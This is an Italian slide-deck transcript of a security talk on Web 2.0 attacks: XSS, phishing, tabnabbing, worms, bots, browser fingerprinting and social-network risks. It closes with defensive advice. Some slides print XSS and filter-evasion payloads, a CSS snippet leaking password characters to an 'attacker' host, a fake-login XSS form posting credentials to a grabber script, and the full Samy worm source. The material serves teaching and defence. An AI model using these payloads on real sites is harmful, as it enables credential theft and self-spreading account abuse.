Web Application Security

Transcript

Web Application Security
Web Application
Security
a 2.0 attacker's perspective
Relatore
Alessandro Gai

Security Advisor presso

ISECOM OPST OWSE
+ 5 anni penetration test
+ 10 anni web analyst and developer
Trainer corsi specialisti - master universitari



Web Application Security: a 2.0 attacker's perspective
2
Agenda


web 2.0 e nuovi vettori d'attacco
evoluzione degli attacchi XSS
(XSS proxy / XSS fingerprinting / XSS tunneling / XSS browser exploitation)






phishing: whaling, SEO poisoning, tabnabbing
worm 2.0 e attacchi anti automation
"mercato underground" del malware, attacchi
drive-by download e tecnica x-Morphic (Simone Riccetti)
unicità e tracciabilità del browser
social network e la sicurezza delle informazioni
conclusioni (…il social penetration test)
Web Application Security: a 2.0 attacker's perspective
dal 2004 a oggi
Web Application Security: a 2.0 attacker's perspective
Timeline

1969: Arpanet (1971: posta elettronica)

1970/80: da Arpanet a Internet (1973/1983 TCP-IP)

1980: il primo virus telematico

1982: nasce il termine Internet

1988: primo worm (down 10% of the world's Internet servers: Robert Morris)


1991: Nascita del World Wide Web (HTTP)
1993: nasce Mosaic, il primo browser “moderno”

1998: New Economy (da Kevin Kelly con il best-seller New Rules for a New
Economy) - Google apre il suo primo ufficio in California

2001: scoppio della bolla dot-com


2004: O'Reilly Media Web 2.0 conference
2004/2005: nascono YouTube e Facebook
Web Application Security: a 2.0 attacker's perspective
5
Cosa è il


Alla domanda “Cosa è il Web 2.0?” non esiste una
definizione chiara ed esaustiva. Chiedete a due
persone di definirlo e ascoltate le loro risposte.
Quando si cerca di spiegare che cosa è, si tende
ad usare un insieme di definizioni ed esempi:
o
o
o

La logica è stata spostata dal server al client
L‟utilizzo di transazioni asincrone
Il nuovo concetto di web application “offline”.
Non esistono standard concreti che lo definiscono
Web Application Security: a 2.0 attacker's perspective
6
Definizione
(Wikipedia)


Il Web 2.0 è un termine utilizzato per indicare
genericamente uno stato di evoluzione di Internet
(e in particolare del World Wide Web), rispetto alla
condizione precedente.
Si tende ad indicare come Web 2.0 l'insieme di
tutte quelle applicazioni online che permettono
uno spiccato livello di interazione sito-utente (blog,
forum, chat, sistemi quali Wikipedia, Youtube, Facebook,
Myspace, Twitter, Gmail, Wordpress, Tripadvisor ecc.).
Fonte: wikipedia - http://it.wikipedia.org/wiki/Web_2.0
Web Application Security: a 2.0 attacker's perspective
7
Principi del Web 2.0

La saggezza degli utenti
Digg.com (il successo di un articolo è deciso dagli utenti che lo votano) /
Feedback di E-bay / Page Rank di Google Search / Recensioni di Amazon

Applicazioni web condivise
Le applicazioni passano dal desktop al web (Google Docs)

L’importanza dei dati
L‟SQL è il nuovo HTML

Beta per sempre
Applicazioni Web 2.0 sono continuamente rilasciate,
riscritte e rivisitate su basi in continuo sviluppo
Web Application Security: a 2.0 attacker's perspective
8
Principi del Web 2.0

Il web inteso come piattaforma
Servizi che non potrebbero vivere senza il web eBay, Craiglist, Wikipedia, etc.

Partecipazione degli utenti
Gli utenti sono anche gli autori (Blog,YouTube, Flickr) : “read/write web”

Pieno coinvolgimento dell’utente
Aumenta l‟usabilità (CSS, AJAX e altre tecnologie) / Pagine dinamiche in grado
di mostrare più informazioni nello stesso spazio (Google News)
RIA: Rich Internet Applications

Usare il web come è stato ideato
Incremento nell‟usabilità che è stata raggiunta attraverso un buon design
Web Application Security: a 2.0 attacker's perspective
9
Web 1.0 vs Web 2.0
Web Application Security: a 2.0 attacker's perspective
10
Timeline
Web 1.0
Web 2.0
Web 3.0
VS
Web Application Security: a 2.0 attacker's perspective
11
?
Nuovi vettori d'attacco
Web Application Security: a 2.0 attacker's perspective
Esposizione sul web - ieri (1.0)
Sito web
istituzionale
Web Application Security: a 2.0 attacker's perspective
13
Esposizione sul web - oggi (2.0)
Web-Mail
CRM
Sito web
istituzionale
Extranet
E-commerce
Canale
Twitter
Fan Page
Facebook
Canale
YouTube
Gruppo
Aziendale
Facebook
B2B
commerce
Ricerca HR
Rassegna
stampa
Siti mktg
“speciali”
…
Web Application Security: a 2.0 attacker's perspective
Account dipendenti
14
I componenti del Web 2.0
WEB 1.0
WEB 2.0
Client Layer
HTML/CSS
JavaScript
DOM
Flash / RIA
Widget
Ajax
Protocol Layer
HTTP
HTTPS
SOAP
XML-RPC
REST
JSON
Custom
Web Services
APIs
Structure Layer
Text
XML
RSS/ATOM
Server Layer
Traditional
SOA/WOA
SaaS
Web Application Security: a 2.0 attacker's perspective
15
Nuovi vettori d'attacco


Web 2.0 non è qualcosa di realmente “nuovo”, è
una conglemerazione di vecchie tecnologie e…
… tutte le “vecchie” vulnerabilità del Web 1.0
continuano ad esistere
Vecchie e nuove vulnerabilità rendono i
componenti del Web 2.0 nuovi vettori d’attacco
Web Application Security: a 2.0 attacker's perspective
16
Esempi di vulnerabilità
del Web 2.0









Cross-site scripting
Validazioni Client side nelle routines AJAX
Malicious AJAX code execution
Thick client binary manipulation
SOAP Parameter manipulation / XPATH injection
XML poisoning
RSS / Atom injection
WSDL scanning and enumeration
Web services routing issues
Web Application Security: a 2.0 attacker's perspective
17
Agenda


web 2.0 e nuovi vettori d'attacco
evoluzione degli attacchi XSS
(XSS proxy / XSS fingerprinting / XSS tunneling / XSS browser exploitation)






phishing: whaling, SEO poisoning, tabnabbing
worm 2.0 e attacchi anti automation
"mercato underground" del malware, attacchi
drive-by download e tecnica x-Morphic (Simone Riccetti)
unicità e tracciabilità del browser
social network e la sicurezza delle informazioni
conclusioni (…il social penetration test)
Web Application Security: a 2.0 attacker's perspective
XSS - WASC - Web Application
Security Statistics

2007

2010
Web Application Security: a 2.0 attacker's perspective
19
XSS - OWASP TOP 10
2003
2004
2007
2010
A1 - Unvalidated
Parameters
A1 - Unvalidated Input
A1 - Cross Site Scripting
(XSS)
A1 - Injection
A2 - Broken Access
Control
A2 - Broken Access
Control
A2 - Injection Flaws
A2 - Cross-Site Scripting
(XSS)
A3 - Broken Account and
Session Management
A3 - Broken
Authentication and
Session Management
A3 - Malicious File
Execution
A3 - Broken
Authentication and
Session Management
A4 - Insecure Direct
Object Reference
A4 - Insecure Direct
Object References
…
…
A4 - Cross Site Scripting A4 - Cross Site Scripting
(XSS) Flaws
(XSS) Flaws
…
…
Web Application Security: a 2.0 attacker's perspective
20
XSS - Evoluzione
XSS Classico
Codice HTML o script malevoli nell‟input utente:
- Reflected (via GET / POST) – Stored (DB / Files)
 XSS 2.0
Input dinamicamente creati da JavaScript
Input in JavaScript arrays
Input controllati e formattati da JavaScript
Dati scritti dinamicamente nel DOM o scritti
dinamicamente nelle pagine (document.write)

Web Application Security: a 2.0 attacker's perspective
21
XSS - Evoluzione
XSS Classico
http://www.example.com/a.php?name=
<script>alert('xss')</script>
 XSS 2.0
http://www.example.com/welcome.html?name=xss
<SCRIPT>var pos =
document.URL.indexOf("name=") + 5;
document.write(document.URL.substring(pos,doc
ument.URL.length));</SCRIPT>

Web Application Security: a 2.0 attacker's perspective
22
XSS - Evoluzione
DOM Based Cross Site Scripting
document.url / document.location / document.referrer

JSON array
var myJSON = {"people": [{"name": "Ale", "address":
"<script>doHack();</script>", "phone": "011"}] };

myObject.innerHTML(myJSON.people[0].address);
document.write(myJSON.people[0].address);
Web Application Security: a 2.0 attacker's perspective
23
XSS - Evoluzione
JS Arrays
var jsArray = new Array();
jsArray[0] = "42"; doHack(); var bar="ajacked";

Universal XSS
- Acrobat Reader Universal PDF XSS
www.example.com/file.pdf#a=javascript:alert('xss')
- Universal XSS via IE8s XSS Filters
//<![CDATA[ var foo='<img src=x:x
onerror=alert(0)>„;// ]]>

Web Application Security: a 2.0 attacker's perspective
24
XSS - Filter evasion
(esempi)
<img/src="a.png"alt="a">
Assenza di spazi o uso “/”
 <isindex action=javascript
:alert(1) type=image>
“isindex” tag
 <x:script xmlns:x="http://
www.w3.org/1999/xhtml">
alert('xss');</x:script>
JS via xhtml namespaces

http://ha.ckers.org/xss.html
Web Application Security: a 2.0 attacker's perspective
25
XSS - Filter evasion
Futuro?
HTML v5
 </a onmousemove="alert(1)">
HTML5 permette gli attributi dopo la chiusura tag
 <style>input[name=password][value*=a]{
background:url('//attacker?log[]=a'); }</style>
Permette css-based XSS attacks
 <iframe seamless src="login.asp"/>
Nuovo attributo “seamless” per gli iframe
Web Application Security: a 2.0 attacker's perspective
26
XSS - Minacce






XSS Worm
XSS Phishing
XSS Proxy
XSS Keylogger
XSS Tunnelling
Browser exploitation (con Metasploit)
Web Application Security: a 2.0 attacker's perspective
27
XSS - Tools


XSSSHELL – XSSTUNNEL
BEEF
labs.portcullis.co.uk/application/xss-tunnelling/
www.bindshell.net/tools/beef/
Web Application Security: a 2.0 attacker's perspective
28
XSS - Tools (Demo 1-2)
http://www.youtube.com/watch?v=PFC2QJGJKRk
Web Application Security: a 2.0 attacker's perspective
29
XSS - Tools (Demo 2-2)
http://www.youtube.com/watch?v=8dROmr9fI4I
Web Application Security: a 2.0 attacker's perspective
30
Agenda


web 2.0 e nuovi vettori d'attacco
evoluzione degli attacchi XSS
(XSS proxy / XSS fingerprinting / XSS tunneling / XSS browser exploitation)






phishing: whaling, SEO poisoning, tabnabbing
worm 2.0 e attacchi anti automation
"mercato underground" del malware, attacchi
drive-by download e tecnica x-Morphic (Simone Riccetti)
unicità e tracciabilità del browser
social network e la sicurezza delle informazioni
conclusioni (…il social penetration test)
Web Application Security: a 2.0 attacker's perspective
Phishing (Tradizionale)



fenomeno in continua crescita
il 17% delle e-mail ricevute sono tentativi di
phishing (rapporto Symantec)
l‟Italia è al terzo posto nelle preferenze
dei truffatori
Web Application Security: a 2.0 attacker's perspective
32
Phishing - XSS


document.body.innerHTML="<img
src=www.mediaservice.net/defacement.jpg>";
document.body.innerHTML=„
<h1>Home banking Login</h1>
<form
action="http://www.mediaservice.net/grabPasswords.
php" method="get">
User name:<input type="text" name="user">
Password: <input type="password" name="pass">
<input type="submit" name="login"></form>';
Web Application Security: a 2.0 attacker's perspective
33
Phishing - Whaling





attacco su grossi profili aziendali (amministratore
delegato / dirigenti)
alte probabilità di successo perché costruito in
maniera molto personalizzata
informazioni sulle vittime nei business social network
o nei siti Web aziendali
l‟e-mail non ha le sembianze dello spam
aprile 2008: 20.000 dirigenti di aziende USA
- ordine di comparizione con nomi e contatti telefonici
- falso sito Corte Americana con software malware
Web Application Security: a 2.0 attacker's perspective
34
Phishing - SEO poisoning



Search Engine Optimization
Tecnica di Marketing per promuovere la “presenza
su internet” attraverso i motori di ricerca
Utilizzata per promuovere siti/contenuti fraudolenti
Web Application Security: a 2.0 attacker's perspective
35
Phishing - Tabnabbing
1.
2.
3.
4.
5.
Utente naviga su una pagina internet innocua
La pagina aspetta il cambio del focus (altri tab)
Sostituisce la favicon, il titolo (“Gmail: Email from
Google”) e la pagina con un finto login a Gmail
Quando utente ritorna su tab ipotizza sessione
scaduta e rieffettua login
Dopo l‟inserimento delle credenziali avviene il
redirect su gmail reale
http://www.azarask.in/blog/post/a-new-type-of-phishing-attack/
Web Application Security: a 2.0 attacker's perspective
36
Phishing – Tabnabbing (Demo)
http://www.youtube.com/watch?v=hfMJblddjMo
Web Application Security: a 2.0 attacker's perspective
37
Phishing e social network

TVVITTER.COM (invece di TWITTER.COM)
Web Application Security: a 2.0 attacker's perspective
38
Phishing e social network
(Facebook)
e-mail fasulla con richiesta amicizia o con avviso
per cambiare la password
 trovare sulla bacheca un messaggio con un link
dalla struttura simile a quello reale

Web Application Security: a 2.0 attacker's perspective
39
Il mercato delle “fan page” di
Facebook
http://www.alverde.net/forum/comprare-o-vendere-pubblicita-su-facebook/
Web Application Security: a 2.0 attacker's perspective
40
Agenda


web 2.0 e nuovi vettori d'attacco
evoluzione degli attacchi XSS
(XSS proxy / XSS fingerprinting / XSS tunneling / XSS browser exploitation)






phishing: whaling, SEO poisoning, tabnabbing
worm 2.0 e attacchi anti automation
"mercato underground" del malware, attacchi
drive-by download e tecnica x-Morphic (Simone Riccetti)
unicità e tracciabilità del browser
social network e la sicurezza delle informazioni
conclusioni (…il social penetration test)
Web Application Security: a 2.0 attacker's perspective
Samy XSS Worm

Il primo malware del web 2.0
<div id=mycode style="BACKGROUND: url('java
script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var
D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function
getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new
Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var
M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function
getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var
Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return
false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('ContentLength',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function
getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var
V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new
XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return
Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var
AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function
getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var
AR=getFromURL(AU,'Mytoken');var AS=new
Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToStrin
g(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new
Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothin
g,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var
BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite.addfriend_v
erify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var
AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to
Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return
false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-formurlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV>
<div id=mycode style="background: url('java
script:eval(document.all.mycode.expr)')"
expr="alert(1)"></div>
Web Application Security: a 2.0 attacker's perspective
42
Worm e i social network
(Koobface)


si diffonde con richieste di amicizia o video tipo
"Guarda come sei buffo qui..."
url a sito fuori di Facebook dove
viene richiesto un aggiornamento
fasullo di Adobe Flash Player
Web Application Security: a 2.0 attacker's perspective
43
Malware e social network
Web Application Security: a 2.0 attacker's perspective
44
Malware e social network

Immagine/soggetto focalizza e distoglie l'utente da
url, sfruttando così istintività del click e rapporto di
trust con il social netowrk
Web Application Security: a 2.0 attacker's perspective
45
Captchas Hacking
http://caca.zoy.org/wiki/PWNtcha
Web Application Security: a 2.0 attacker's perspective
46
Anti automation
Programmi per download link multipli in automatico:
 Megaupload Downloader
http://sourceforge.net/projects/mudownloader/

Rapidshare AutoDownload
http://rapidautodl.blogfa.com/

Adblock Plus (blocco popup e advertising)
http://adblockplus.org/en/

Auction Sniper (automatizza aste su ebay)
http://www.auctionsniper.com/
Web Application Security: a 2.0 attacker's perspective
47
Anti automation
BOT (abbreviazione di robot) per i social network:
 Facebook Friend Bomber
 Facebook Blaster Pro
 Facebook Tools
 TellyAdder (YouTube)
 Tubeinator (YouTube)
 Twitter Friend Adder
 Friend Blaster Pro (MySpace)
 Etc.
Web Application Security: a 2.0 attacker's perspective
48
Anti automation
(Facebook Tools BOT)
1.
2.
3.
4.
5.
Creazione di un falso account
Verifica account con mobile (per evitare captcha)
Inserito nell‟account applicazione con link affiliati
esterni quali ad esempio: “more profile pictures”
Utilizzo della funzione automatica “friend adder”
500 friend requests
18$ di guadagno
http://www.lornefade.com/marketing/facebook-tools-a-look-into-one-of-the-firstfacebook-bots
Web Application Security: a 2.0 attacker's perspective
49
Agenda


web 2.0 e nuovi vettori d'attacco
evoluzione degli attacchi XSS
(XSS proxy / XSS fingerprinting / XSS tunneling / XSS browser exploitation)






phishing: whaling, SEO poisoning, tabnabbing
worm 2.0 e attacchi anti automation
"mercato underground" del malware, attacchi
drive-by download e tecnica x-Morphic (Simone Riccetti)
unicità e tracciabilità del browser
social network e la sicurezza delle informazioni
conclusioni (…il social penetration test)
Web Application Security: a 2.0 attacker's perspective
Agenda


web 2.0 e nuovi vettori d'attacco
evoluzione degli attacchi XSS
(XSS proxy / XSS fingerprinting / XSS tunneling / XSS browser exploitation)






phishing: whaling, SEO poisoning, tabnabbing
worm 2.0 e attacchi anti automation
"mercato underground" del malware, attacchi
drive-by download e tecnica x-Morphic (Simone Riccetti)
unicità e tracciabilità del browser
social network e la sicurezza delle informazioni
conclusioni (…il social penetration test)
Web Application Security: a 2.0 attacker's perspective
Quali informazioni si possono
recuperare dal browser?



La versione del sistema operativo e del browser
I plugin del browser
Alcuni software installati quali
Adobe Reader, Open Office.org,
Google Chrome o MS Silverlight
Web Application Security: a 2.0 attacker's perspective
52
Quali informazioni si possono
recuperare dal browser?




I font installati sul sistema
L‟ora di sistema
Geolocation
etc.
Maggiori informazioni su: http://browserspy.dk/
Web Application Security: a 2.0 attacker's perspective
53
Unicità/tracciabilità del browser


Cosa succede se si combinano insieme queste
informazioni?
Si possono trasformare in una firma digitale!
http://panopticlick.eff.org
Web Application Security: a 2.0 attacker's perspective
54
Unicità/tracciabilità del browser
(panopticlick 1/2)
Web Application Security: a 2.0 attacker's perspective
55
Unicità/tracciabilità del browser
(panopticlick 2/2)
Web Application Security: a 2.0 attacker's perspective
56
Unicità/tracciabilità del browser
Risultati
 Desktop browsers moderni sono tracciabili al 90%
 I desktop browsers meno tracciabili sono quelli
con JavaScript disabilitato (es: NoScript)
 Il fingerprinting è sensibilmente più complicato su
iPhone and Android browsers
 Plugins e fonts sono la metrica di identificazione
migliore, seguiti da User Agent, HTTP Accept, e
risoluzione dello schermo
Web Application Security: a 2.0 attacker's perspective
57
Problematiche privacy (1/3)?
CSS Exploit information (Demo)
http://www.youtube.com/watch?v=4uw6DffV7fo
Web Application Security: a 2.0 attacker's perspective
58
Problematiche privacy (2/3)?
Flash LSO on Private Browser







Local Shared Objects (LSO) aka flash cookies
contenuti in file di estensione .sol salvati in
sottocartelle aventi il nome del sito che li ha creati
persistenti: non possiedono alcun meccanismo di
scadenza automatica (expire)
memorizzano fino a 100KB di dati
garantiscono same origin policy
cross browser
Non cancellano dati salvati in Private Browser
Web Application Security: a 2.0 attacker's perspective
59
Problematiche privacy (2/3)?
LSO on Private Browser (Demo)
http://www.youtube.com/watch?v=ft2_YOdKS7w
Web Application Security: a 2.0 attacker's perspective
60
Problematiche privacy (3/3)?
Javascript LAN scanner (Demo)
http://www.youtube.com/watch?v=oVBKdOTXsUI
Fonte: http://www.businessinfo.co.uk/labs/lan_scan/lan_scan.php
Web Application Security: a 2.0 attacker's perspective
61
Agenda


web 2.0 e nuovi vettori d'attacco
evoluzione degli attacchi XSS
(XSS proxy / XSS fingerprinting / XSS tunneling / XSS browser exploitation)






phishing: whaling, SEO poisoning, tabnabbing
worm 2.0 e attacchi anti automation
"mercato underground" del malware, attacchi
drive-by download e tecnica x-Morphic (Simone Riccetti)
unicità e tracciabilità del browser
social network e la sicurezza delle informazioni
conclusioni (…il social penetration test)
Web Application Security: a 2.0 attacker's perspective
“Share” delle informazioni
Web Application Security: a 2.0 attacker's perspective
63
Top Siti - Alexa
GLOBAL Top Sites 2009
ITALY Top Sites 2009
1)google.com
11)yahoo.co.jp
1)google.it
2)facebook.com
12)twitter.com
2)facebook.com 12)virgilio.it
3)youtube.com
13)google.co.in
3)youtube.com
13)corriere.it
4)yahoo.com
14)sina.com.cn
4)google.com
14)msn.com
5)live.com
15)google.de
5)yahoo.com
15)altervista.org
6)wikipedia.org
16)wordpress.com
6)live.com
16)alice.it
7)blogger.com
17)google.cn
7)libero.it
17)partypoker.it
8)baidu.com
18)myspace.com
8)wikipedia.org
18)youporn.com
9)msn.com
19)microsoft.com
9)blogger.com
19)mediaset.it
10)qq.com
20)taobao.com
10)ebay.it
11)repubblica.it
20)wordpress.com
Fonte: Alexa's Web information database - http://www.alexa.com/topsites
Web Application Security: a 2.0 attacker's perspective
64
Social Media e Social Network




Social media: tecnologie con cui utenti creano e
condividono contenuti sul Web
Social-network: Facebook, LinkedIn, Viadeo, etc...
10 milioni di iscritti a Facebook in Italia
(1 italiano su 6)
americani iscritti su Facebook
sono più di 100 milioni
(1 americano su 3)
Web Application Security: a 2.0 attacker's perspective
65
Attacchi al Social networking

Gli account sui social network hanno un grande
valore per gli “attaccanti”
Possono essere usati per spedire spam,
diffondere malware e rubare identità (come un PC
compromesso all‟interno di una botnet)
57% vittime di spam (+ 70.6% dal 2009)

30% vittime di phishing (+ 42.9% dal 2009)

36% vittime di malware (+ 69.8% dal 2009)


Fonte: SOPHOS security threat report: 2010
Web Application Security: a 2.0 attacker's perspective
66
La sicurezza delle reti aziendali
ai tempi di Facebook





Furto identità digitale tramite social engineering
Possibilità di “fare uscire” informazioni riservate
dal posto di lavoro tramite il canale social network
Porte di ingresso non controllate e pericolose nella
rete aziendale
Intercettazione di informazioni riservate durante
l‟utilizzo aziendale
Alterazione illegittima immagine aziendale a fini di
marketing
Fonte: Wiki IBM su l‟utilizzo dei social network e sicurezza di infrastrutture IT
Web Application Security: a 2.0 attacker's perspective
67
La sicurezza delle reti aziendali
ai tempi di Facebook





Controllo delle informazioni inserite dagli iscritti
Accesso al canale di comunicazione da dipendenti
non autorizzati
Rischi derivanti dall‟analisi aggregata dei dati a
scarsa valenza individuale
Rischi derivanti dall‟installazione delle applicazioni
di terze parti
Rischi derivanti dall‟esposizione dei nominativi dei
clienti
Fonte: Wiki IBM su l‟utilizzo dei social network e sicurezza di infrastrutture IT
Web Application Security: a 2.0 attacker's perspective
68
Facebook API “Users.getInfo”
(REST API - Graph API)
$user_details = $facebook->api_client->users_getInfo($uid, 'last_name, first_name');
$data['first_name'] = $user_details[0]['first_name'];
$data['last_name'] = $user_details[0]['last_name'];
Web Application Security: a 2.0 attacker's perspective
69
Facebook API “Users.getInfo”
(REST API)
uid - about_me - activities – affiliations - birthday birthday_date - books - contact_email current_location - education_history - email email_hashes - family - has_added_app hometown_location - hs_info - interests is_app_user - is_blocked - locale - meeting_for meeting_sex - movies - music - name - notes_count
- pic - pic_with_logo - pic_big - pic_big_with_logo pic_small - pic_small_with_logo - pic_square pic_square_with_logo - political - profile_blurb profile_update_time - profile_url - proxied_email quotes - relationship_status - religion - sex significant_other_id - status - timezone - tv username - wall_count - website - work_history
Web Application Security: a 2.0 attacker's perspective
70
Facebook API (REST API)
“Message.getThreadsInFolder”
http://wiki.developers.facebook.com/index.php/Message.getThreadsInFolder
Web Application Security: a 2.0 attacker's perspective
71
Costituzione degli USA vs
Facebook Privacy Policy


Pop quiz del New York
Times: “Which is longer, the
United States Constitution or
Facebook‟s Privacy Policy?”
facebook vince 5.830 parole
contro le 4.543 parole
della Costituzione USA
http://www.nytimes.com/2010/05/13/technology/personaltech/13basics.html
Web Application Security: a 2.0 attacker's perspective
72
Agenda


web 2.0 e nuovi vettori d'attacco
evoluzione degli attacchi XSS
(XSS proxy / XSS fingerprinting / XSS tunneling / XSS browser exploitation)






phishing: whaling, SEO poisoning, tabnabbing
worm 2.0 e attacchi anti automation
"mercato underground" del malware, attacchi
drive-by download e tecnica x-Morphic (Simone Riccetti)
unicità e tracciabilità del browser
social network e la sicurezza delle informazioni
conclusioni (…il social penetration test)
Web Application Security: a 2.0 attacker's perspective
Conclusioni (1/2)
La complessità delle applicazioni aumenta in maniera
esponenziale assieme ai vettori d'attacco.
Vecchie vulnerabilità continuano ad esistere e vivono
una continua evoluzione.
Attacchi al “client” sempre più frequenti. Esempi:
 xss sempre diffusi, in nuove forme, facili da sfruttare
 phising crescente, più mirato, difficile da individuare e
integrato nei social network
 worm e bot sfruttano a pieno le potenzialità di
diffusione offerte dai canali del web 2.0
Web Application Security: a 2.0 attacker's perspective
74
Conclusioni (2/2)
Tutto questo in un contesto in cui:
 il mercato del malware è redditizio e cresce
esponenzialmente
 un alta percentuale dei browser è tracciabile e
richiede configurazioni non di default o
installazione di plugin aggiuntivi per proteggere la
propria privacy
 i social network hanno dato una nuova
dimensione alla condivisione delle informazioni e
di conseguenza alla privacy
Web Application Security: a 2.0 attacker's perspective
75
Alcune possibili azioni







Controllare regolarmente le informazioni che
vengono condivise on-line da tutta l‟azienda
Condividere “info” solo con persone/aziende fidate
Controllare l‟accesso al web bloccando siti con
malware o filtrando l‟accesso ai social network
Educare le persone sui rischi
Controllare impostazioni di sicurezza sul web 2.0
Implementare policy di sicurezza appropriate,
coinvolgendo i nuovi vettori
Effettuare verifiche di sicurezza tradizionali e non...
Web Application Security: a 2.0 attacker's perspective
76
Social Penetration Test
“Facebook from the hackers perspective”
1.
2.
3.
4.
5.
6.
Reconnaissance / information leak: profili di
facebook, 906 impiegati su 1402 con account)
Scoprire un xss
Creare falso profilo + iscrizione gruppo aziendale
3 gg: la lista degli amici cresce esponenzialmente
Postare un messaggio con link “speciale”
Furto delle credenziali
SNOsoft Research Team
http://snosoft.blogspot.com
© www.sheeps.it
Web Application Security: a 2.0 attacker's perspective
77
Grazie per l’attenzione.
Domande?
Link delle demo On-Line
1) Xss Classico:
http://www.youtube.com/watch?v=PFC2QJGJKRk
2) Xss Tools:
http://www.youtube.com/watch?v=8dROmr9fI4I
3) Phishing-Tabnabbing:
http://www.youtube.com/watch?v=hfMJblddjMo
4) CSS Exploit information:
http://www.youtube.com/watch?v=4uw6DffV7fo
5) Flash LSO:
http://www.youtube.com/watch?v=ft2_YOdKS7w
6) JavaScript LAN Scanner:
http://www.youtube.com/watch?v=oVBKdOTXsUI
Web Application Security: a 2.0 attacker's perspective
79

Documenti analoghi

Rapporto Clusit 2015 - Collabra Professional Email

Rapporto Clusit 2015 - Collabra Professional Email - La Polizia Postale e delle Comunicazioni e il contrasto al cyber crime . . . . . . . . . . . . . . 81 - Il Nucleo Speciale Frodi Informatiche della Guardia di Finanza e il contrast...

Dettagli

Rapporto

Rapporto nel settore privato. Oggi, parallelamente ai cambiamenti in atto nel mercato ICT, gli attacchi informatici avvengono con crescente frequenza (ed alti tassi di successo) anche verso piattaforme meno...

Dettagli